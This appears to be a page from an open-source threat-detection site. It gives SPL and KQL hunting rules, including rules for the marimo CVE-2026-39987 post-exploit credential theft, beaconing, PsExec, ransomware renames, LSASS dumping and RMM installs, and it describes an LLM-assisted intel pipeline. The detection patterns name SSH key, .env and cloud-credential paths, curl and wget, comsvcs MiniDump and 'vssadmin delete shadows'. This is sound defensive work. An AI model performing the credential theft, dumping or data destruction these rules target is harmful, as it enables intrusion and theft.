| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Coverage modenone1 UC2 UCs3 UCs4+ UCshow many of our use cases map to that technique
Heat modenone1 article2 articles3+ articleshow many current articles cite that technique
Cell badges▾4 = 4 sub-techniques3 UC = 3 use cases mapped8 art = 8 articles cite itclick any cell for the full drawer
📡 About the Intel FeedReal intel from the best threat articles · click to expand
Mission: Provide actionable, contextualised threat intelligence drawn from the day's
best security reporting — not a generic IOC firehose. Every indicator below has a story attached:
who reported it, when, and which malware/actor/campaign it relates to.
Sources
The Hacker NewsBleepingComputerMicrosoft Security BlogCISA KEVrefreshed daily · deduplicated across publications
Drop the RSS URL into Feedly, Inoreader, Slack RSS, or your TIP's RSS connector to get
notified the moment a new high-fidelity IOC lands. The feed shows the latest 100 items,
newest first, with severity, source attribution and a click-through to the source article.
What each column tells you
Column
What it means
What to do with it
value
The actual indicator (CVE-ID, IP, domain, hash)
Search your telemetry for matches
type
cve · ipv4 · domain · sha256 · sha1 · md5
Routes you to the right SIEM data model / Defender table
severity
crit / high / med / low — inherited from the article
Triage priority. crit+high get hunted today
sources
Publication(s) that reported the IOC
2+ sources = stronger consensus
first_seen
Earliest article publication date
Bounds your hunt window
article link
Direct URL to the source article
Click for full context — TTPs, additional IOCs
What you're looking at — by IOC type
CVE — a vulnerability identifier; match against your scanner output. Splunk: Vulnerabilities.signature · Defender: DeviceTvmSoftwareVulnerabilities.CveId
How we earn the SOC's trust — high-fidelity extraction
A bad IOC feed makes an analyst block legitimate Outlook / GitHub / vendor traffic. So this pipeline is deliberately conservative:
CVEs and hashes are extracted by regex — unambiguous format, low false-positive rate.
Domains and IPs are accepted only when defanged by the source author (e.g. evil[.]com, 1[.]2[.]3[.]4, hxxps://...). That's the universal "I'm flagging this as malicious" convention.
Plain-text domain/IP mentions are rejected. In an RSS summary, a phrase like "Outlook users were affected" or "ASP.NET vulnerability" is the legitimate victim or platform — never an IOC. We don't ship false positives just to look busy.
If today's feed shows mostly CVEs, that reflects an honest reality: KEV publishes structured exploited-CVE data daily; defanged IPs/hashes typically live in technical write-ups whose bodies we cannot scrape. Every IOC you see has earned its place.
HIGH — confirmed exploitation, named threat actor, or CISA KEV → hunt this shift
MED — reported activity, malware family identified → weekly hunt queue
LOW — background reporting → context only
Full docs and integration examples (Splunk, Defender, MISP, OpenCTI, Sentinel TAXII): see
intel/README.md on GitHub.
Export
📡 Subscribe via RSS
Exports reflect current filters · RSS feed auto-refreshes daily
Value
Type
Sev
Sources
Article
First seen
Articles
From article to detection — the full pipeline
How a fresh threat-intel article moves through this site: ingestion,
extraction, mapping, export. Diagram first, then the per-step detail —
including the actual prompts, regex, and heuristics behind each stage.
1. Sources
The pipeline pulls from 9 feeds on every run:
News — The Hacker News, BleepingComputer, Microsoft Security Blog. Broad coverage, light on technical IOC tables.
IOC-rich vendor research — Cisco Talos, Securelist (Kaspersky), SentinelLabs, Unit 42 (Palo Alto), ESET WeLiveSecurity. Where the hash / IP / domain tables live.
CISA KEV — authoritative exploited-vulnerability feed (JSON, not RSS).
Adding a source is a 3-line entry in SOURCES. The fetcher detects RSS vs JSON automatically.
2. Ingest
For each entry in the rolling 180-day window:
feedparser.parse() reads the RSS preview.
_fetch_full_body(url) issues an HTTPS GET with a polite User-Agent, caches the HTML to intel/.article_cache/, and converts to plain text. Without this step the IOC feed only has CVEs — RSS previews don't include hash tables.
Cross-source Jaccard dedupe on title token sets (threshold 0.55) merges "Chinese Silk Typhoon hacker extradited" (THN) with "Alleged Silk Typhoon hacker extradited" (BleepingComputer) into a single entry with two source attributions.
3. Extract
Two parallel extractors run on every article body:
High-fidelity IOCs (extract_indicators):
CVE — CVE-\d{4}-\d{4,7} regex.
SHA256 / SHA1 / MD5 — fixed-width hex regexes.
IPs / domains — defanged-only: 1[.]2[.]3[.]4, evil[.]com, hxxps://.... Plain-text mentions are rejected because they're almost always the victim or platform, not the attacker.
Article mechanics (extract_mechanics):
Binaries: regex on *.exe / .dll / .sys / .ps1 / .vbs / ... filtered through a noise list (chrome.exe, cmd.exe, etc.).
Command-line fragments — -EncodedCommand, FromBase64String, vssadmin delete shadows, etc.
4. Use cases
Three classes of use case fire per article:
(a) Rule-fired generic UCs — rules/*.yml contain trigger keyword lists. If the article body matches any trigger, the rule's pre-built use case (in use_cases/*.yml) is added to the briefing. Example: any article mentioning "psexec" fires UC_LATERAL_PSEXEC.
(b) Bespoke article-specific UCs — new this session. extract_mechanics output drives _make_bespoke_uc, which assembles a per-article SPL+KQL searching for the actual binaries / paths / commandline fragments named in the article. Threshold: at least one mechanic anchor must be present, otherwise no bespoke UC is emitted (silence beats noise).
(c) IOC-substitution UCs — when the article has a CVE / IP / domain / hash, the matching boilerplate UC fires with the actual IOC list substituted in. Canonical SPL/KQL bodies live once in briefings/_TEMPLATES.md; the briefing inlines only the IOC values.
ATT&CK Matrix tab — 14 tactics × 691 techniques. Coverage drawn from 23 internal UCs + 2,213 synced Splunk ESCU detections. Click any technique cell, then any UC card to expand it inline with full SPL/KQL — backed by catalog/use_cases_full.js.
Threat Intel tab — IOC feed exports: CSV, JSON, STIX 2.1, RSS, Splunk lookup. Aggregated across every article in the window with source attribution.
When ANTHROPIC_API_KEY is set in the environment, the pipeline sends each article body to an LLM with a structured detection-engineer prompt, parses the response as JSON, validates the techniques (T####.### format) + tier (alerting/hunting) + KQL/SPL fields, and emits the resulting UseCase objects alongside the regex bespoke UCs.
The LLM is told: use the actual binaries/paths/cmdlines named in the article, not invented ones; if the article describes the attack only narratively, return no UCs. Output is cached per article URL hash so repeat runs cost nothing.
Cost: ~$0.005-0.01 per article on claude-haiku-4-5 (configurable via USECASEINTEL_LLM_MODEL). 300-article 180-day run ≈ $2-3.
Each LLM-emitted UC is title-prefixed [LLM] and shows up in the matrix drawer alongside the rule-fired and regex-bespoke variants. Failures (no API key, parse error, network timeout) are logged but never fail the pipeline.
IOC enrichment (opt-in)
When ABUSECH_API_KEY is set, every IOC in intel/iocs.csv is cross-referenced against:
ThreatFox (abuse.ch) — malware family attribution + first-seen + reporter for IPs / domains / hashes / CVEs / URLs.
URLhaus (abuse.ch) — URL counts + blacklist memberships for hosts.
Free auth keys at auth.abuse.ch — abuse.ch added auth in 2024-2025 to control abuse. New CSV columns: threatfox_malware, threatfox_threat_type, urlhaus_url_count, urlhaus_blacklists, enrichment_url. Cache lives in intel/.enrich_cache/; if no key is set the columns stay blank and the pipeline runs unchanged.
Practical impact when enabled: an IOC the SOC sees in our feed is flanked by "is this on abuse.ch's known-bad list and what malware family is it linked to?" — turning a list of values into intel with attribution.
Per-platform rule packs
Every internal UC is now exported to multiple SIEM-native formats under rule_packs/:
splunk/savedsearches.conf — drop-in Splunk app config. Each saved search is enableSched = 0 by default — review-then-enable.
sentinel/<uc>.json — Microsoft Sentinel ARM analytics rule template.
elastic/<uc>.json — Elastic detection rule (KQL embedded in note for analyst port-over to ECS/EQL).
sigma/<uc>.yml — Sigma format. Convert with sigma-cli to your SIEM dialect.
All exports tier-aware: alerting runs hourly, hunting runs daily; severity high vs low; tier + fp_rate + MITRE attached to custom-details.
Quality gates — tier & IOC allowlist
Two filters keep the output honest:
UC tier — alerting vs hunting. Every use case is tagged:
ALERTING — high-fidelity. Specific IOCs, threshold or temporal correlation (between (T .. T+60s)), named-binary hunt, anomaly logic. Safe to wire to a SIEM rule with normal triage SLA.
HUNTING — starter content. Returns rows that need analyst review; will produce false positives without environment tuning. Use as a hunt query first; promote to alerting after baselining + adding suppression for legitimate use.
How it's set: explicit tier: field in the UC YAML wins. Otherwise _infer_tier_from_query() looks for alerting signals (temporal joins, thresholds, named-binary IN-lists, anomaly stats) and defaults to hunting if none are present. Splunk ESCU detections inherit tier from the upstream type — TTP/Correlation → alerting, Anomaly/Hunting → hunting. Bespoke article-generated UCs default to hunting.
Filter the drawer by tier (Alerting / Hunting) using the dropdown in the Use cases mapped section.
IOC allowlist — drop platform / reserved infrastructure. No SOC wants google.com or 192.168.0.1 in their block list. _ioc_is_known_safe() drops:
Internal IPs aren't useless — they're just useless standalone. A bespoke UC describing lateral movement can reference them as part of a broader chain, but they don't belong in the IOC feed where the value is "block this on the perimeter".
Analyst loop
Curated briefings get a <!-- curated:true --> HTML comment as line 1. The briefing writer skips any file with that marker so analyst overlays are preserved across pipeline runs. The pattern:
Pipeline emits an auto-generated briefing.
Analyst reads the article, rewrites the briefing with attribution / actor context / sector implications / bespoke detection logic, adds <!-- curated:true -->.
Commits. Future pipeline runs see the marker and leave the file alone.
For new use cases the analyst writes a YAML file under use_cases/<phase>/UC_X.yml; the loader at module-load time auto-registers it and the matrix builder picks it up on the next run.
Detection content for SOC analysts, generated from threat-intel articles
the day they break. Free, open-source, and community-shaped.
What this is
Clankerusecase reads recent threat-intel articles (The Hacker News,
BleepingComputer, Microsoft Security Blog, Cisco Talos, Securelist,
SentinelLabs, Unit 42, ESET, CISA KEV) and produces detection use
cases an analyst can drop into their SIEM. Every use case is mapped
to MITRE ATT&CK, tagged with a tier (alerting vs hunting) and
a false-positive estimate, and — for the article-bespoke ones —
written by an LLM that's actually read the article rather
than spat out a generic technique template.
The goal
Hand analysts ready-to-run detection content the
day a campaign breaks — not three weeks later when the vendor
blog post has been turned into a "rule pack" behind a paywall.
Cover the platforms analysts actually use.
Pick a vendor, get the same detection rendered for it.
Be community-driven. The platforms covered, the
tier thresholds, the FP estimates, the per-source filters — all
decided by people doing detection engineering and threat hunting
day-to-day, not by a marketing team.
Platform coverage today
Platform
Status
Notes
Microsoft Defender (Advanced Hunting / KQL)
Working well
Every use case has a hand-checked KQL query against the
DeviceProcessEvents / EmailEvents /
UrlClickEvents / AADSignInEventsBeta
tables. Pre-deployed table validation against the Defender
schema. This is the most mature path on the site today.
Splunk (CIM / ESCU)
In progress
SPL queries emitted against Endpoint,
Network_Traffic, Email,
Vulnerabilities, Web data models;
CIM-validated. 2,200+ Splunk ESCU detections synced into the
ATT&CK matrix. Field-level tuning for production deployment
is the next focus area.
Sentinel ARM / Elastic / Sigma
Rule-pack export
Rule packs are emitted to rule_packs/ on every
build (all enabled=false by default — read,
review, then enable). Validation against each platform's
native schema is on the roadmap.
Anything else?
Tell us
CrowdStrike NG-SIEM? Chronicle / Google SecOps? Sumo? OpenSearch?
Drop a request in Discord (link below) and if there's interest
from the community we'll wire it in.
Community & Discord
We're spinning up a Discord for analysts and detection engineers
using the site. The space is for:
Suggesting new platforms to add (KQL → SPL is done; what's next?).
Sharing tuning notes for the FP rate on specific use cases in
your environment.
Flagging articles you'd like covered (the feed-fetcher is fast
but not exhaustive — analyst-curated tips help).
Posting your own detection ideas — if they fit the site's
criteria they'll get added with attribution.
💬
Join the Clankerusecase Discord
Detection engineers, threat hunters, SOC analysts — all welcome.
Invite link:https://discord.gg/<invite-id> —
being finalised. If the button above 404s, the invite isn't live yet.
Ping the maintainer on GitHub
(Virtualhaggis/usecaseintel)
until then.
How a use case lands here
Article published by a covered intel source.
Pipeline fetches the full body (not just the RSS preview), pulls
IOCs (defanged-aware, with allowlists for legitimate platforms),
and infers MITRE techniques from narrative keywords.
Rule-fired generic UCs from use_cases/*.yml attach
based on trigger keywords.
An LLM (your Claude Code OAuth session, or an
ANTHROPIC_API_KEY) reads the article body and
generates 1–3 article-specific bespoke UCs with their
own SPL/KQL — these get the [LLM] prefix and sort
to the top of every list because they're the highest-fidelity
detection content on the page.
WebSearch corroboration: the LLM cross-checks vendor advisories
(Microsoft Threat Intel, Mandiant, CrowdStrike, MITRE, abuse.ch)
and links them in the briefing as "Cross-checked against:".
Validation pass: every SPL field is checked against the CIM spec
and ESCU production references; every KQL table/column against
the Defender schema. Fail validation → don't ship.
See the Workflow tab for the full diagram and
per-stage prompt detail.
Repo & licence
Source:
github.com/Virtualhaggis/usecaseintel.
MIT-licensed. Contributions welcome — open an issue or PR. The site
is rebuilt by generate.py on every run; the catalog
lives in catalog/use_cases_full.json for non-browser
consumers (TIPs, scripts, your SIEM's API).